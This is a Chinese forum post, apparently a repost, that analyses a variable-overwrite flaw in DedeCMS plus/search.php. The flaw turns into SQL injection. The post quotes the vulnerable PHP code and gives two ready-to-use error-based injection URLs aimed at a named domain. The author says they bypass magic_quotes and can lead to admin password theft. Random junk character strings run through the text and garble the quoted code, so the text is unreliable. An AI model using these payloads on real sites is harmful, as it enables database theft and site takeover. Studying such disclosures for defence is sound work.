微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.6 f6 _0 `% _' I
作者: c4rp3nt3r@0x50sec.org
- n4 v; f) n6 N7 Y, v! [$ {Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
; ?8 N- O4 A# b# {7 K2 A# `
w8 x! X0 \: T) Z5 H- ?4 p黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.- _4 g& c$ R4 k1 C
6 R7 Z4 @" l9 P5 m
============
4 K; W9 F! o9 J( P 3 E; {4 ~2 j7 z8 ~+ }
+ B% }) @; c& e9 H, c/ qDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码. v# Q* w" b9 a5 y
# Z3 J. d4 h, P0 N+ W
require_once(dirname(__FILE__).”/../include/common.inc.php”);
* Q5 M* p8 c" H5 R- Frequire_once(DEDEINC.”/arc.searchview.class.php”);
; H, `+ K0 F7 }5 c
- D( ^* G0 S$ j/ h3 H$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;- i' Y1 {: _# x! I" b: f
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
3 S4 V2 r, k) O$ Z* }$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;9 W, Y6 V7 P ^' y* w/ L
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;
$ b { ]! K0 B1 ?' Q6 f1 r$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0; n6 \7 I$ v9 b7 C6 o% f; a
. ^2 ^7 b# B3 P4 `* P1 ^' g" qif(!isset($orderby)) $orderby=”;0 A3 A( j+ X7 {6 D, h$ l
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);- M7 B) S3 O7 x7 s) O8 h$ n, i" E
, X/ Z1 [3 F {: d) i6 \
# G, C# F/ u# W. A; p$ {1 `if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
$ p2 R( b( k- o* p4 Y$ relse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
B& r+ k7 g. j, O" M& k# P1 j, b . |; n f) _+ I4 {' b* N) C
if(!isset($keyword)){! k5 I" i/ ?# }0 L1 l
if(!isset($q)) $q = ”;
; a* f' |) f3 g6 j+ m $keyword=$q;
5 ~) `$ t3 B5 |. w}
/ `; x8 n+ S" I+ { . ~4 F, { @- G. n( x! h" J
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));0 u2 e% ~! n& [3 M& W( A
+ |3 _/ a3 D* r3 U0 d( \9 ]//查找栏目信息
- K a7 \/ E* J% nif(empty($typeid))
" T6 ~ x* k3 C' c" V+ ~0 Z{' c; ^7 v) w0 w- [, m! |4 \
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
! |% h. f! l6 @3 v1 s& m0 ] if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )0 N! i- e8 T7 Y) u
{
- o1 l. Z' c& ~2 Z( F $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);/ l# W H) b" f/ ]
fwrite($fp, “<”.”?php\r\n”);
2 l; K# L- O% k $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);5 O' J \/ J9 A. C( @
$dsql->Execute();& C9 ]$ k: w6 c+ [
while($row = $dsql->GetArray())1 r }( A3 m& d, M
{
& M. D+ l) s) W9 s+ `3 u fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);& ?$ ^. a" j; ~9 t1 y
}
0 E$ I- j' i/ f( R5 O2 i fwrite($fp, ‘?’.'>’);+ L% O2 @$ k8 N
fclose($fp);- |" ]/ y% A& x
}/ _6 |+ ^' Y3 y6 h! z9 r
//引入栏目缓存并看关键字是否有相关栏目内容0 R; r% W" b- k: z9 m
require_once($typenameCacheFile);
( C# y; M2 m: E6 s: F. H( |, U//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个 [3 D( K2 q" @- u/ v7 O& D! \/ [! O
//
9 b" ?* F( e2 J, c if(isset($typeArr) && is_array($typeArr))
p/ R- Z1 i( m6 [& e" V {
5 T* ^9 |0 F# Z0 ?' q4 d% O! V foreach($typeArr as $id=>$typename). R: I9 }/ _3 `& a# t/ o
{
3 K4 v ?/ ~+ G7 Q; e" { ( y+ K$ V! g b$ R! u3 h
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过
+ Q$ R" H/ w z6 S0 k) | if($keyword != $keywordn)
1 |0 a o1 G" \: h! G Z {
' N8 k0 E Y$ A+ M2 Y8 w$ l $keyword = $keywordn;0 O' a" |! Z! H1 D( I+ p9 J
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
) P5 {6 ?( b* h) ` break;: m$ Z! \; G4 K' L0 d
}0 g& e3 u: z3 A9 h2 g" f6 k
}: J5 p% K- [" z! B) r
}
: e( Y; ~) Y9 O0 P! P}9 A! B1 s2 a; R4 n
然后plus/search.php文件下面定义了一个 Search类的对象 .9 O; ?: T0 N, o {1 w9 l. @2 |
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
1 ~: \6 Y# F$ z' a5 ]8 v- }$this->TypeLink = new TypeLink($typeid);
E! l; p5 \) C: J8 N& K: W+ u & c0 N% c& ]5 ^0 \; A: z( r- Z8 ?
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
! B6 b7 c" B9 x! Q# ? 8 c* z1 K9 o6 ?: t" ?; W% ?$ C
class TypeLink9 x' F9 M; j/ k1 {
{% ~* U8 o+ f9 Z# `! ^( M& T
var $typeDir;
9 \" Y* Y3 U2 ~' y3 N var $dsql;
( B2 g4 S# n( u var $TypeID;, s: X6 J$ w3 d/ L: ~& A
var $baseDir;/ q5 q+ I0 W7 }: a4 ~
var $modDir;
6 n; U5 k% {& X* d; e% ~5 j var $indexUrl;( n( Q, k4 `( l, f g$ J
var $indexName;) N- e% s v' C8 c# M
var $TypeInfos;: R& W# |! g& M6 @ B) a' [
var $SplitSymbol;# @) B, c/ Z. i
var $valuePosition;) @( \5 a5 |( \, k; P/ e" W
var $valuePositionName;
! S: A9 Q ?; w( R var $OptionArrayList;//构造函数///////
) K) b" E+ i) E7 o& W6 q. J //php5构造函数
5 V) ~7 K5 I/ V+ ]$ z function __construct($typeid)5 K' q# r+ n+ {! c) i
{
% y0 K) `% l2 z; v% v $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];" |! N% e* G6 N2 Z/ S" n
$this->indexName = $GLOBALS['cfg_indexname'];
/ p% f! F, R. p) l; }, H0 P $this->baseDir = $GLOBALS['cfg_basedir'];
6 O' ~, O @$ _# I1 B% I4 S $this->modDir = $GLOBALS['cfg_templets_dir'];
! |8 A$ ~( c" A# q $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];/ X4 D, i6 {( i0 x
$this->dsql = $GLOBALS['dsql'];! _$ {0 ?# I2 e
$this->TypeID = $typeid;$ h/ U, q2 A$ N" {+ E! F
$this->valuePosition = ”;* k+ ]' x. E7 D' x+ v, I! M/ t: p
$this->valuePositionName = ”;
$ h: e+ o! Z" M9 j $this->typeDir = ”;
1 A6 F& j8 C y8 L $this->OptionArrayList = ”;2 C p& u* q( z
2 e( _2 H8 c$ V1 m3 @: c; w
//载入类目信息
8 h. T4 J/ ~3 x" v' u2 w ; s: k2 t- j( a- O) E- ]& M! s' ]: ]
<font color=”Red”>$query = “SELECT tp.*,ch.typename as0 z- i" c" }1 G D( O2 M
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
* p4 s6 i$ t8 [% ]: g; N`#@__channeltype` ch
$ L- z4 |- B8 w' t. D5 D8 p6 l$ ^ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿4 n% i0 Y1 V! p* ^7 e/ C: w4 K1 b
9 |" v3 m* w8 P, w8 T, S
if($typeid > 0)5 s: ~2 A) ]; b& j! v+ B
{
/ O+ E5 T2 o+ U* R' y- F $this->TypeInfos = $this->dsql->GetOne($query);* L" M8 n; p1 M7 q
利用代码一 需要 即使magic_quotes_gpc = Off
6 N" B; N/ Q3 |/ ? _/ [
& m3 Z$ ~7 a7 Y/ ^, Lwww.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title7 a) b2 h1 C3 h
! Q. M1 J# @ l! _; v
这只是其中一个利用代码… Search 类的构造函数再往下
" h9 g: |" ^# C0 e
9 X- [' C3 ~) h6 F4 n$ c p……省略
9 N, v$ ^3 p# q) x+ r; \! A7 j$this->TypeID = $typeid;
$ R- G8 ?% O& {& o……省略4 `0 I% L6 d+ i# y' @# g: C
if($this->TypeID==”0″){
' y) L- n1 w# j& N: I $this->ChannelTypeid=1;
: h/ G, W6 ^9 V- Q6 M5 J }else{. b% _5 Y/ d: }0 t9 F1 g$ L
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲4 F1 M3 z3 P/ U) Y- c5 {) a- H7 |
//现在不鸡肋了吧亲…
+ _6 ~/ y3 Y8 H: W6 f% F- j1 g* ?& a $this->ChannelTypeid=$row['channeltype']; m' I: c5 i' e
0 w( i$ L( e- b/ E. \2 a }
1 @6 f2 f( R; @6 m" z# u利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
% q+ J8 |' r6 }$ B2 F 5 y! ^; \/ X# A( S7 x4 V% A# y# S
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
8 m. j& d$ o* v ^4 Y) y2 r 7 A5 ^3 _9 j" I8 D
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站! d3 b+ h. t$ M9 u4 ?# w5 v
|